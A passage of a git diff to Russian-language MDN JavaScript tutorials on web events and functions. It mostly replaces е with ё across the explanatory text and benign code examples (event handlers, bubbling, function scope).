событие имеет </span><strong>обработчик событий<strong> </strong></strong>—<span> блок кода (обычно это функция JavaScript, вводимая вами в качестве разработчика), который будет запускаться при срабатывании события. Когда такой блок кода определен на запуск в ответ на возникновение события, мы говорим, что мы </span><strong>регистрируем обработчик событий</strong><span>. Обратите внимание, что обработчики событий иногда называют </span><strong>слушателями событий (от англ. event listeners).</strong><span> Они в значительной степени взаимозаменяемы для наших целей, хотя, строго говоря, они работают вместе. Слушатель отслеживает событие, а обработчик </span>— <span>это код, который запускается в ответ на событие.</span></p> +<p><span>Каждое доступное событие имеет </span><strong>обработчик событий<strong> </strong></strong>—<span> блок кода (обычно это функция JavaScript, вводимая вами в качестве разработчика), который будет запускаться при срабатывании события. Когда такой блок кода определён на запуск в ответ на возникновение события, мы говорим, что мы </span><strong>регистрируем обработчик событий</strong><span>. Обратите внимание, что обработчики событий иногда называют </span><strong>слушателями событий (от англ. event listeners).</strong><span> Они в значительной степени взаимозаменяемы для наших целей, хотя, строго говоря, они работают вместе. Слушатель отслеживает событие, а обработчик </span>— <span>это код, который запускается в ответ на событие.</span></p> <div class="note"> <p><strong>Примечание:</strong> Важно отметить, что веб-события не являются частью основного языка JavaScript. Они определены как часть JavaScript-API, встроенных в браузер.</p> @@ -77,9 +77,9 @@ btn.onclick = function() { document.body.style.backgroundColor = rndCol; }</pre> -<p>В этом коде мы сохраняем ссылку на кнопку внутри переменной <code>btn</code> типа <code>const</code>, используя функцию {{domxref ("Document.querySelector()")}}. Мы также определяем функцию, которая возвращает случайное число. Третья часть кода — <a href="#Свойства_обработчика_событий">обработчик события</a>. Переменная <code>btn</code> указывает на элемент <code><button></code> — для этого типа объекта существуют возникающие при определенном взаимодействии с ним события, а значит, возможно использование обработчиков событий. Мы отслеживаем момент возникновения события при щелчке мышью, связывая свойство обработчика события <code>onclick</code> с анонимной функцией, генерирующей случайный цвет RGB и устанавливающей его в качестве цвета фона элемента <code><body></code>.</p> +<p>В этом коде мы сохраняем ссылку на кнопку внутри переменной <code>btn</code> типа <code>const</code>, используя функцию {{domxref ("Document.querySelector()")}}. Мы также определяем функцию, которая возвращает случайное число. Третья часть кода — <a href="#Свойства_обработчика_событий">обработчик события</a>. Переменная <code>btn</code> указывает на элемент <code><button></code> — для этого типа объекта существуют возникающие при определённом взаимодействии с ним события, а значит, возможно использование обработчиков событий. Мы отслеживаем момент возникновения события при щелчке мышью, связывая свойство обработчика события <code>onclick</code> с анонимной функцией, генерирующей случайный цвет RGB и устанавливающей его в качестве цвета фона элемента <code><body></code>.</p> -<p>Этот код теперь будет запускаться всякий раз, когда возникает событие при нажатии на элемент <code><button></code> — всякий раз, когда пользователь щелкает по нему.</p> +<p>Этот код теперь будет запускаться всякий раз, когда возникает событие при нажатии на элемент <code><button></code> — всякий раз, когда пользователь щёлкает по нему.</p> <p>Пример вывода выглядит следующим образом:</p> @@ -101,7 +101,7 @@ btn.onclick = function() { <h3 id="Свойства_обработчика_событий">Свойства обработчика событий</h3> -<p>В этом курсе вы уже сталкивались со свойствами, связываемыми с алгоритмом работы обработчика событий. Вернемся к приведенному выше примеру:</p> +<p>В этом курсе вы уже сталкивались со свойствами, связываемыми с алгоритмом работы обработчика событий. Вернёмся к приведённому выше примеру:</p> <pre class="brush: js notranslate">const btn = document.querySelector('button'); @@ -125,7 +125,7 @@ btn.onclick = bgChange;</pre> <p>Давайте теперь поэкспериментируем с другими свойствами обработчика событий.</p> -<p>Создайте локальную копию файла <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerproperty.html">random-color-eventhandlerproperty.html</a> и откройте ее в своем браузере. Это всего лишь копия простого примера про случайные цвета, который мы уже разобрали в этой статье. Теперь попробуйте изменить <code>btn.onclick</code> на следующие значения и понаблюдайте за результатами:</p> +<p>Создайте локальную копию файла <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerproperty.html">random-color-eventhandlerproperty.html</a> и откройте её в своём браузере. Это всего лишь копия простого примера про случайные цвета, который мы уже разобрали в этой статье. Теперь попробуйте изменить <code>btn.onclick</code> на следующие значения и понаблюдайте за результатами:</p> <ul> <li><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onfocus">btn.onfocus</a></code> и <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onblur">btn.onblur</a></code> — Цвет изменится, когда кнопка будет сфокусирована или не сфокусирована (попробуйте нажать Tab, чтобы выбрать кнопку или убрать выбор). Эти свойства часто применяются для отображения информации о том, как заполнить поля формы, когда они сфокусированы, или отобразить сообщение об ошибке, если поле формы было заполнено с неправильным значением.</li> @@ -134,11 +134,11 @@ btn.onclick = bgChange;</pre> <li><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onmouseover">btn.onmouseover</a></code> и <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onmouseout">btn.onmouseout</a></code> — Цвет будет меняться при наведении указателя мыши на кнопку или когда указатель будет отводиться от кнопки соответственно.</li> </ul> -<p>Некоторые события очень общие и доступны практически в любом месте (например, обработчик <code>onclick</code> может быть зарегистрирован практически для любого элемента), тогда как некоторые из них более конкретны и полезны только в определенных ситуациях (например, имеет смысл использовать <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/GlobalEventHandlers.onplay">onplay</a> только для определенных элементов, таких как {{htmlelement ("video")}}).</p> +<p>Некоторые события очень общие и доступны практически в любом месте (например, обработчик <code>onclick</code> может быть зарегистрирован практически для любого элемента), тогда как некоторые из них более конкретны и полезны только в определённых ситуациях (например, имеет смысл использовать <a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/GlobalEventHandlers.onplay">onplay</a> только для определённых элементов, таких как {{htmlelement ("video")}}).</p> <h3 id="Встроенные_обработчики_событий_-_не_используйте_их">Встроенные обработчики событий - не используйте их</h3> -<p>Самый ранний из введенных в сеть Web методов регистрации <em>обработчиков событий</em> базируется на <strong>HTML атрибутах </strong>(<strong>встроенные обработчики событий</strong>):</p> +<p>Самый ранний из введённых в сеть Web методов регистрации <em>обработчиков событий</em> базируется на <strong>HTML атрибутах </strong>(<strong>встроенные обработчики событий</strong>):</p> <pre class="brush: html notranslate"><button onclick="bgChange()">Press me</button> </pre> @@ -152,7 +152,7 @@ btn.onclick = bgChange;</pre> <p><strong>Примечание</strong>: Вы можете найти <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerattributes.html">полный исходник кода</a> из этого примера на GitHub (также <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-eventhandlerattributes.html">взгляните на его выполнение</a>).</p> </div> -<p>Значение атрибута — это буквально код JavaScript, который вы хотите запустить при возникновении события. В приведенном выше примере вызывается функция, определенная внутри элемента {{htmlelement ("script")}} на той же странице, но вы также можете вставить JavaScript непосредственно внутри атрибута, например:</p> +<p>Значение атрибута — это буквально код JavaScript, который вы хотите запустить при возникновении события. В приведённом выше примере вызывается функция, определённая внутри элемента {{htmlelement ("script")}} на той же странице, но вы также можете вставить JavaScript непосредственно внутри атрибута, например:</p> <pre class="brush: html notranslate"><button onclick="alert('Hello, this is my old-fashioned event handler!');">Press me</button></pre> @@ -182,7 +182,7 @@ for (var i = 0; i < buttons.length; i++) { <h3 id="Функции_addEventListener_и_removeEventListener">Функции addEventListener() и removeEventListener()</h3> -<p>Новый тип механизма событий определен в спецификации <a href="https://www.w3.org/TR/DOM-Level-2-Events/">Document Object Model (DOM) Level 2 Events</a>, которая предоставляет браузеру новую функцию — <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>. Работает она аналогично свойствам обработчика событий, но синтаксис совсем другой. Наш пример со случайным цветом мог бы выглядеть и так:</p> +<p>Новый тип механизма событий определён в спецификации <a href="https://www.w3.org/TR/DOM-Level-2-Events/">Document Object Model (DOM) Level 2 Events</a>, которая предоставляет браузеру новую функцию — <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>. Работает она аналогично свойствам обработчика событий, но синтаксис совсем другой. Наш пример со случайным цветом мог бы выглядеть и так:</p> <pre class="brush: js notranslate">var btn = document.querySelector('button'); @@ -204,7 +204,7 @@ btn.addEventListener('click', bgChange);</pre> document.body.style.backgroundColor = rndCol; });</pre> -<p>Этот механизм имеет некоторые преимущества по сравнению с более старыми механизмами, рассмотренными ранее. Например, существует аналогичная функция <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/removeEventListener">removeEventListener()</a></code>, которая удаляет ранее добавленный обработчик. Это приведет к удалению набора обработчиков в первом блоке кода в этом разделе:</p> +<p>Этот механизм имеет некоторые преимущества по сравнению с более старыми механизмами, рассмотренными ранее. Например, существует аналогичная функция <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/removeEventListener">removeEventListener()</a></code>, которая удаляет ранее добавленный обработчик. Это приведёт к удалению набора обработчиков в первом блоке кода в этом разделе:</p> <pre class="brush: js notranslate">btn.removeEventListener('click', bgChange);</pre> @@ -226,13 +226,13 @@ myElement.addEventListener('click', functionB);</pre> <h3 id="Какой_механизм_мне_использовать">Какой механизм мне использовать?</h3> -<p>Из трех механизмов определенно не нужно использовать атрибуты событий HTML. Как упоминалось выше, это устаревшая и плохая практика.</p> +<p>Из трёх механизмов определённо не нужно использовать атрибуты событий HTML. Как упоминалось выше, это устаревшая и плохая практика.</p> <p>Остальные два являются относительно взаимозаменяемыми, по крайней мере для простых целей</p> <ul> - <li>Свойства обработчика событий имеют меньшую мощность и параметры, но лучше совместимость между браузерами (поддерживается еще в Internet Explorer 8). Вероятно, вам следует начать с них, когда вы учитесь.</li> - <li>События уровня 2 DOM (<code>addEventListener()</code> и т. д.) являются более мощными, но также могут стать более сложными и хуже поддерживаться (поддерживается еще в Internet Explorer 9). Вам также стоит поэкспериментировать с ними и стремиться использовать их там, где это возможно.</li> + <li>Свойства обработчика событий имеют меньшую мощность и параметры, но лучше совместимость между браузерами (поддерживается ещё в Internet Explorer 8). Вероятно, вам следует начать с них, когда вы учитесь.</li> + <li>События уровня 2 DOM (<code>addEventListener()</code> и т. д.) являются более мощными, но также могут стать более сложными и хуже поддерживаться (поддерживается ещё в Internet Explorer 9). Вам также стоит поэкспериментировать с ними и стремиться использовать их там, где это возможно.</li> </ul> <p>Основные преимущества третьего механизма заключаются в том, что при необходимости можно удалить код обработчика событий, используя <code>removeEventListener()</code>, и так же можно добавить несколько элементов-обработчиков того же типа к элементам. Например, вы можете вызвать <code>addEventListener('click', function() {...})</code> для элемента несколько раз, с разными функциями, указанными во втором аргументе. Это невозможно при использовании свойств обработчика событий, поскольку любые последующие попытки установить свойство будут перезаписывать более ранние, например:</p> @@ -251,7 +251,7 @@ etc.</pre> <h3 id="Объекты_событий"> Объекты событий</h3> -<p>Иногда внутри функции обработчика событий вы можете увидеть параметр, заданный с таким именем, как <code>event</code>, <code>evt</code> или просто <code>e</code>. Называется он <strong>объектом события</strong> и он автоматически передается обработчикам событий для предоставления дополнительных функций и информации. Например, давайте немного перепишем наш пример со случайным цветом:</p> +<p>Иногда внутри функции обработчика событий вы можете увидеть параметр, заданный с таким именем, как <code>event</code>, <code>evt</code> или просто <code>e</code>. Называется он <strong>объектом события</strong> и он автоматически передаётся обработчикам событий для предоставления дополнительных функций и информации. Например, давайте немного перепишем наш пример со случайным цветом:</p> <pre class="brush: js notranslate">function bgChange(e) { var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; @@ -271,7 +271,7 @@ btn.addEventListener('click', bgChange);</pre> <p><strong>Примечание:</strong> Вместо <code>e</code>/<code>evt</code>/<code>event</code> можно использовать любое имя для объекта события, которое затем можно использовать для ссылки на него в функции обработчика событий. <code>e</code>/<code>evt</code>/<code>event</code> чаще всего используются разработчиками, потому что они короткие и легко запоминаются. И хорошо придерживаться стандарта.</p> </div> -<p><code>e.target</code> применяют, когда нужно установить один и тот же обработчик событий на несколько элементов и, когда на них происходит событие, применить определенное действие к ним ко всем. Например, у вас может быть набор из 16 плиток, которые исчезают при нажатии. Полезно всегда иметь возможность просто указать, чтобы объект исчез, как <code>e.target</code>, вместо того, чтобы выбирать его более сложным способом. В следующем примере (см. исходный код на <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/useful-eventtarget.html">useful-eventtarget.html</a>,а как он работает можно посмотреть <a href="https://mdn.github.io/learning-area/javascript/building-blocks/events/useful-eventtarget.html">здесь</a>), мы создаем 16 элементов {{htmlelement ("div")}} с использованием JavaScript. Затем мы выберем все из них, используя {{domxref ("document.querySelectorAll()")}}, и с помощью цикла <code>for</code> выберем каждый из них, добавив обработчик <code>onclick</code> к каждому так, чтобы случайный цвет применялся к каждому клику:</p> +<p><code>e.target</code> применяют, когда нужно установить один и тот же обработчик событий на несколько элементов и, когда на них происходит событие, применить определённое действие к ним ко всем. Например, у вас может быть набор из 16 плиток, которые исчезают при нажатии. Полезно всегда иметь возможность просто указать, чтобы объект исчез, как <code>e.target</code>, вместо того, чтобы выбирать его более сложным способом. В следующем примере (см. исходный код на <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/useful-eventtarget.html">useful-eventtarget.html</a>,а как он работает можно посмотреть <a href="https://mdn.github.io/learning-area/javascript/building-blocks/events/useful-eventtarget.html">здесь</a>), мы создаём 16 элементов {{htmlelement ("div")}} с использованием JavaScript. Затем мы выберем все из них, используя {{domxref ("document.querySelectorAll()")}}, и с помощью цикла <code>for</code> выберем каждый из них, добавив обработчик <code>onclick</code> к каждому так, чтобы случайный цвет применялся к каждому клику:</p> <pre class="brush: js notranslate">var divs = document.querySelectorAll('div'); @@ -281,7 +281,7 @@ for (var i = 0; i < divs.length; i++) { } }</pre> -<p>Результат выглядит следующим образом (попробуйте щелкнуть по нему):</p> +<p>Результат выглядит следующим образом (попробуйте щёлкнуть по нему):</p> <div class="hidden"> <h6 id="Hidden_example">Hidden example</h6> @@ -334,7 +334,7 @@ for (var i = 0; i < divs.length; i++) { <h3 id="Предотвращение_поведения_по_умолчанию"> Предотвращение поведения по умолчанию</h3> -<p>Иногда бывают ситуации, когда нужно остановить событие, выполняющее то, что оно делает по умолчанию. Наиболее распространенным примером является веб-форма, например, пользовательская форма регистрации. Когда вы вводите данные и нажимаете кнопку отправки, естественное поведение заключается в том, что данные должны быть отправлены на указанную страницу на сервере для обработки, а браузер перенаправляется на страницу с сообщением об успехе (или остаться на той же странице, если другое не указано).</p> +<p>Иногда бывают ситуации, когда нужно остановить событие, выполняющее то, что оно делает по умолчанию. Наиболее распространённым примером является веб-форма, например, пользовательская форма регистрации. Когда вы вводите данные и нажимаете кнопку отправки, естественное поведение заключается в том, что данные должны быть отправлены на указанную страницу на сервере для обработки, а браузер перенаправляется на страницу с сообщением об успехе (или остаться на той же странице, если другое не указано).</p> <p>Но если пользователь отправил данные не правильно, как разработчик, вы хотите остановить отправку на сервер и выдать сообщение об ошибке с информацией о том, что не так и что нужно сделать. Некоторые браузеры поддерживают функции автоматической проверки данных формы, но, поскольку многие этого не делают, вам не следует полагаться на них и выполнять свои собственные проверки валидации. Давайте посмотрим на простой пример.</p> @@ -377,7 +377,7 @@ form.onsubmit = function(e) { } }</pre> -<p>Очевидно, что это довольно слабая проверка формы - это не помешает пользователю отправить форму с пробелами или цифрами, введенными в поля, но для примера подходит. Вывод выглядит следующим образом:</p> +<p>Очевидно, что это довольно слабая проверка формы - это не помешает пользователю отправить форму с пробелами или цифрами, введёнными в поля, но для примера подходит. Вывод выглядит следующим образом:</p> <p>{{ EmbedLiveSample('Предотвращение_поведения_по_умолчанию', '100%', 140) }}</p> @@ -387,7 +387,7 @@ form.onsubmit = function(e) { <h3 id="Всплытие_и_перехват_событий">Всплытие и перехват событий</h3> -<p>Последним предметом для рассмотрения в этой теме является то, с чем вы не часто будете сталкиваться, но это может стать настоящей головной болью, если вы не поймете, как работает следующий механизм. <em>Всплытие</em> и <em>перехват событий</em> — два механизма, описывающих, что происходит, когда два обработчика одного и того же события активируются на одном элементе. Посмотрим на пример. Чтобы сделать это проще — откройте пример <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box.html">show-video-box.html</a> в одной вкладке и <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box.html">исходный код </a>в другой вкладке. Он также представлен ниже:</p> +<p>Последним предметом для рассмотрения в этой теме является то, с чем вы не часто будете сталкиваться, но это может стать настоящей головной болью, если вы не поймёте, как работает следующий механизм. <em>Всплытие</em> и <em>перехват событий</em> — два механизма, описывающих, что происходит, когда два обработчика одного и того же события активируются на одном элементе. Посмотрим на пример. Чтобы сделать это проще — откройте пример <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box.html">show-video-box.html</a> в одной вкладке и <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box.html">исходный код </a>в другой вкладке. Он также представлен ниже:</p> <div class="hidden"> <h6 id="Hidden_video_example">Hidden video example</h6> @@ -499,7 +499,7 @@ btn.onclick = function() { videoBox.setAttribute('class', 'showing'); }</pre> -<p>Затем мы добавляем еще пару обработчиков событий <code>onclick.</code> Первый к <code><div></code>, а второй к <code><video></code>. Идея заключается в том, чтобы при щелчке по области <code><div></code> вне зоны видео поле снова скрылось, а при клике в области <code><video></code> видео начало воспроизводиться.</p> +<p>Затем мы добавляем ещё пару обработчиков событий <code>onclick.</code> Первый к <code><div></code>, а второй к <code><video></code>. Идея заключается в том, чтобы при щелчке по области <code><div></code> вне зоны видео поле снова скрылось, а при клике в области <code><video></code> видео начало воспроизводиться.</p> <pre class="brush: js notranslate">var videoBox = document.querySelector('div'); var video = document.querySelector('video'); @@ -564,17 +564,17 @@ video.onclick = function() { <h4 id="Делегирование_события"><strong>Делегирование</strong> события</h4> -<p>Всплытие также позволяет нам использовать <strong>делегирование событий. </strong> Если у какого-либо родительского элемента есть множество дочерних элементов, и вы хотите, чтобы определенный код выполнялся при щелчке (событии) на каждом из дочерних элементов, можно установить обработчик событий на родительском элементе и события, происходящие на дочерних элементах будут всплывать до их родителя. При этом не нужно устанавливать обработчик событий на каждом дочернем элементе.</p> +<p>Всплытие также позволяет нам использовать <strong>делегирование событий. </strong> Если у какого-либо родительского элемента есть множество дочерних элементов, и вы хотите, чтобы определённый код выполнялся при щелчке (событии) на каждом из дочерних элементов, можно установить обработчик событий на родительском элементе и события, происходящие на дочерних элементах будут всплывать до их родителя. При этом не нужно устанавливать обработчик событий на каждом дочернем элементе.</p> <p>Хорошим примером является серия элементов списка. Если вы хотите, чтобы каждый из них, например, отображал сообщение при нажатии, вы можете установить обработчик событий <code>click</code> для родительского элемента <code><ul></code> и он будет всплывать в элементах списка.</p> -<p>Эту концепцию объясняет в своем блоге Дэвид Уолш, где приводит несколько примеров. (см. <a href="https://davidwalsh.name/event-delegate">How JavaScript Event Delegation Works</a>.)</p> +<p>Эту концепцию объясняет в своём блоге Дэвид Уолш, где приводит несколько примеров. (см. <a href="https://davidwalsh.name/event-delegate">How JavaScript Event Delegation Works</a>.)</p> <h2 id="Вывод">Вывод</h2> <p>Это все, что вам нужно знать о веб-событиях на этом этапе. Как уже упоминалось, события не являются частью основного JavaScript — они определены в веб-интерфейсах браузера (<a href="/ru/docs/Web/API">Web API</a>).</p> -<p>Кроме того, важно понимать, что различные контексты, в которых используется JavaScript, обычно имеют разные модели событий — от веб-API до других областей, таких как браузерные WebExtensions и Node.js (серверный JavaScript). Может сейчас вы не особо в этом разбираетесь, но по мере изучения веб-разработки начнет приходить более ясное понимание тематики.</p> +<p>Кроме того, важно понимать, что различные контексты, в которых используется JavaScript, обычно имеют разные модели событий — от веб-API до других областей, таких как браузерные WebExtensions и Node.js (серверный JavaScript). Может сейчас вы не особо в этом разбираетесь, но по мере изучения веб-разработки начнёт приходить более ясное понимание тематики.</p> <p>Если у вас возникли вопросы, попробуйте прочесть статью снова или <a href="https://developer.mozilla.org/en-US/docs/Learn#Contact_us">обратитесь за помощью к нам</a>.</p> diff --git a/files/ru/learn/javascript/building_blocks/functions/index.html b/files/ru/learn/javascript/building_blocks/functions/index.html index b612858b42..b48d642112 100644 --- a/files/ru/learn/javascript/building_blocks/functions/index.html +++ b/files/ru/learn/javascript/building_blocks/functions/index.html @@ -12,7 +12,7 @@ translation_of: Learn/JavaScript/Building_blocks/Functions <div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}</div> -<p class="summary">Другая важная концепция в кодировании — <strong>функции </strong>— позволяют хранить фрагмент кода, который выполняет одну задачу внутри определенного блока, а затем вызывать этот код всякий раз, когда вам это нужно, используя одну короткую команду, вместо того, чтобы вводить один и тот же код несколько раз.</p> +<p class="summary">Другая важная концепция в кодировании — <strong>функции </strong>— позволяют хранить фрагмент кода, который выполняет одну задачу внутри определённого блока, а затем вызывать этот код всякий раз, когда вам это нужно, используя одну короткую команду, вместо того, чтобы вводить один и тот же код несколько раз.</p> <p class="summary">В этой статье мы рассмотрим фундаментальные концепции функций, такие как базовый синтаксис, способы вызова и их определения, область действия и параметры.</p> @@ -44,7 +44,7 @@ var newString = myText.replace('строка', 'сосиска'); console.log(newString); // Функция строки replace() принимает строку, // заменяет одну строку на другую, и возвращает -// новую строку с замененным содержимым</pre> +// новую строку с заменённым содержимым</pre> <p>Или каждый раз, когда мы манипулировали массивом:</p> @@ -69,19 +69,19 @@ console.log(madeAString); <p>Фактически, часть кода, который вы вызываете, когда ссылаетесь на встроенную функцию браузера (воображаемое слово для её запуска или выполнения), не может быть написана на JavaScript — многие из этих функций вызывают части фонового кода браузера, который написан в основном на системных языках низкого уровня, таких как C ++, а не на веб-языках, таких как JavaScript.</p> -<p>Имейте в виду, что некоторые встроенные функции браузера не являются частью основного языка JavaScript — некоторые из них являются частью API браузера, которые основываются на языке по умолчанию, чтобы обеспечить еще большую функциональность (подробнее см. <a href="/ru/docs/Learn/JavaScript/Первые_шаги/What_is_JavaScript#Так_что_же_он_действительно_может_делать">один из предыдущих разделов этого курса</a>). Более подробно рассмотрим использование API браузера в более позднем модуле курса.</p> +<p>Имейте в виду, что некоторые встроенные функции браузера не являются частью основного языка JavaScript — некоторые из них являются частью API браузера, которые основываются на языке по умолчанию, чтобы обеспечить ещё большую функциональность (подробнее см. <a href="/ru/docs/Learn/JavaScript/Первые_шаги/What_is_JavaScript#Так_что_же_он_действительно_может_делать">один из предыдущих разделов этого курса</a>). Более подробно рассмотрим использование API браузера в более позднем модуле курса.</p> <h2 id="Функции_или_методы">Функции или методы</h2> <p>Одну вещь, которую нам нужно прояснить, прежде чем двигаться дальше - технически, встроенные функции браузера не являются функциями — это <strong>методы</strong>. Это звучит немного страшно и запутанно, но не волнуйтесь — функции и методы слова во многом взаимозаменяемы, по крайней мере для наших целей, на данном этапе вашего обучения.</p> -<p>Разница между методом и функцией лишь в том, что методы - это функции, определенные внутри объектов. Встроенные функции (методы) браузера и переменные (так называемые <strong>свойства</strong>) хранятся внутри структурированных объектов, чтобы сделать код более эффективным и более простым в использовании.</p> +<p>Разница между методом и функцией лишь в том, что методы - это функции, определённые внутри объектов. Встроенные функции (методы) браузера и переменные (так называемые <strong>свойства</strong>) хранятся внутри структурированных объектов, чтобы сделать код более эффективным и более простым в использовании.</p> <p>Вам пока не нужно изучать внутреннюю работу структурированных объектов JavaScript - вы можете подождать, пока наш более поздний модуль не научит вас внутренним работам объектов и тому, как создавать свои собственные. На данный момент мы просто хотим устранить любую возможную путаницу метода, в сравнении с функциями - вы, вероятно, встретите оба термина, когда будете смотреть на доступные связанные ресурсы через Интернет.</p> <h2 id="Пользовательские_функции">Пользовательские функции</h2> -<p>В этом курсе так же использовались <strong>пользовательские функции</strong> — это функции, которые вы определяете в своем коде, а не внутри браузера. Каждый раз, когда вы видели произвольное слово (имя функции) с круглыми скобками прямо после него, вы использовали пользовательскую функцию. В нашем примере <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/random-canvas-circles.html">random-canvas-circles.html</a> (подробнее см. <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html">исходный код</a>) из нашей <a href="/ru/docs/Learn/JavaScript/Building_blocks/Looping_code">статьи о циклах</a> мы включили пользовательскую функцию <code>draw()</code>, которая выглядит так:</p> +<p>В этом курсе так же использовались <strong>пользовательские функции</strong> — это функции, которые вы определяете в своём коде, а не внутри браузера. Каждый раз, когда вы видели произвольное слово (имя функции) с круглыми скобками прямо после него, вы использовали пользовательскую функцию. В нашем примере <a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/random-canvas-circles.html">random-canvas-circles.html</a> (подробнее см. <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/random-canvas-circles.html">исходный код</a>) из нашей <a href="/ru/docs/Learn/JavaScript/Building_blocks/Looping_code">статьи о циклах</a> мы включили пользовательскую функцию <code>draw()</code>, которая выглядит так:</p> <pre class="brush: js notranslate">function draw() { ctx.clearRect(0,0,WIDTH,HEIGHT); @@ -107,7 +107,7 @@ console.log(madeAString); <h2 id="Вызов_функций">Вызов функций</h2> -<p>Скорее всего, вы уже поняли это, но на всякий случай ... чтобы использовать функцию после того, как она была определена, вам нужно запустить или вызвать ее. Это делается путем включения имени функции в код где-нибудь, за которым следуют скобки.</p> +<p>Скорее всего, вы уже поняли это, но на всякий случай ... чтобы использовать функцию после того, как она была определена, вам нужно запустить или вызвать её. Это делается путём включения имени функции в код где-нибудь, за которым следуют скобки.</p> <pre class="brush: js notranslate">function myFunction() { alert('привет'); @@ -118,7 +118,7 @@ myFunction() <h2 id="Безымянные_функции">Безымянные функции</h2> -<p>Вы можете видеть функции, определенные и вызываемые несколькими разными способами. До этого мы создавали функции таким способом:</p> +<p>Вы можете видеть функции, определённые и вызываемые несколькими разными способами. До этого мы создавали функции таким способом:</p> <pre class="brush: js notranslate">function myFunction() { alert('привет'); @@ -138,7 +138,7 @@ myButton.onclick = function() { alert('привет'); }</pre> -<p>В приведенном примере требуется, чтобы на странице был элемент {{htmlelement ("button")}} (кнопка), которую нужно нажать. Вы уже видели такую структуру несколько раз на протяжении всего курса, подробнее о ней вы узнаете из следующей статьи.</p> +<p>В приведённом примере требуется, чтобы на странице был элемент {{htmlelement ("button")}} (кнопка), которую нужно нажать. Вы уже видели такую структуру несколько раз на протяжении всего курса, подробнее о ней вы узнаете из следующей статьи.</p> <p>Вы также можете присвоить к переменной анонимную функцию, например:</p> @@ -200,21 +200,21 @@ var newString = myText.replace('строка', 'сосиска');</pre> <pre class="brush: js notranslate">var myArray = ['Я', 'люблю', 'шоколадных', 'лягушек']; var madeAString = myArray.join(' '); -// Вернет 'Я люблю шоколадных лягушек' +// Вернёт 'Я люблю шоколадных лягушек' var madeAString = myArray.join(); -// Вернет 'Я,люблю,шоколадных,лягушек'</pre> +// Вернёт 'Я,люблю,шоколадных,лягушек'</pre> <p>Если не указан параметр для символа соединения / разграничения, по умолчанию используется запятая.</p> <h2 id="Область_видимости_функции_и_конфликты">Область видимости функции и конфликты</h2> -<p>Давайте немного поговорим о {{glossary("scope")}} - очень важная концепция при работе с функциями. Когда вы создаете функцию, переменные и другие вещи, определенные внутри функции, находятся внутри их отдельной <strong>области (scope)</strong>, что означает, что они заперты в своих отдельных отсеках, недоступных из других функций или из кода вне функций.</p> +<p>Давайте немного поговорим о {{glossary("scope")}} - очень важная концепция при работе с функциями. Когда вы создаёте функцию, переменные и другие вещи, определённые внутри функции, находятся внутри их отдельной <strong>области (scope)</strong>, что означает, что они заперты в своих отдельных отсеках, недоступных из других функций или из кода вне функций.</p> -<p>Верхний уровень за пределами всех ваших функций называется <strong>глобальной областью (global scope)</strong>. Значения, определенные в глобальном масштабе, доступны извне в коде.</p> +<p>Верхний уровень за пределами всех ваших функций называется <strong>глобальной областью (global scope)</strong>. Значения, определённые в глобальном масштабе, доступны извне в коде.</p> <p>JavaScript настроен таким образом по разным причинам - но главным образом из-за безопасности и организации. Иногда вы не хотите, чтобы переменные были доступны извне в коде - внешние скрипты, которые вы вызывали из других источников, могут начать работать с вашим кодом и вызывать проблемы, потому что они используют одни и те же имена переменных, как и другие части кода , вызывая конфликты. Это может быть сделано злонамеренно или просто случайно.</p> -<p>Например, скажем, у вас есть файл HTML, который вызывается в двух внешних файлах JavaScript, и оба они имеют переменную и определенную функцию, которые используют одно и то же имя:</p> +<p>Например, скажем, у вас есть файл HTML, который вызывается в двух внешних файлах JavaScript, и оба они имеют переменную и определённую функцию, которые используют одно и то же имя:</p> <pre class="brush: html notranslate"><!-- Excerpt from my HTML --> <script src="first.js"></script> @@ -235,7 +235,7 @@ function greeting() { alert('Our company is called ' + name + '.'); }</pre> -<p>Обе функции, которые вы хотите вызвать, называются <code>greeting()</code>, но вы можете получить доступ только к функции <code>greeting()</code> файла <code>first.js</code> (функция файла <code>second.js</code> игнорируется). Кроме того, попытка объявить переменную <code>name</code> второй раз через <code>let</code> в файле <code>second.js</code> приведет к ошибке.</p> +<p>Обе функции, которые вы хотите вызвать, называются <code>greeting()</code>, но вы можете получить доступ только к функции <code>greeting()</code> файла <code>first.js</code> (функция файла <code>second.js</code> игнорируется). Кроме того, попытка объявить переменную <code>name</code> второй раз через <code>let</code> в файле <code>second.js</code> приведёт к ошибке.</p> <div class="note"> <p><strong>Примечание</strong>: Этот пример можно увидеть в режиме <a href="https://mdn.github.io/learning-area/javascript/building-blocks/functions/conflict.html">Live на GitHub</a> (см. также <a href="/ru/docs/https://github.com/mdn/learning-area/tree/master/javascript/building-blocks/functions">исходный код</a>).</p> @@ -263,7 +263,7 @@ 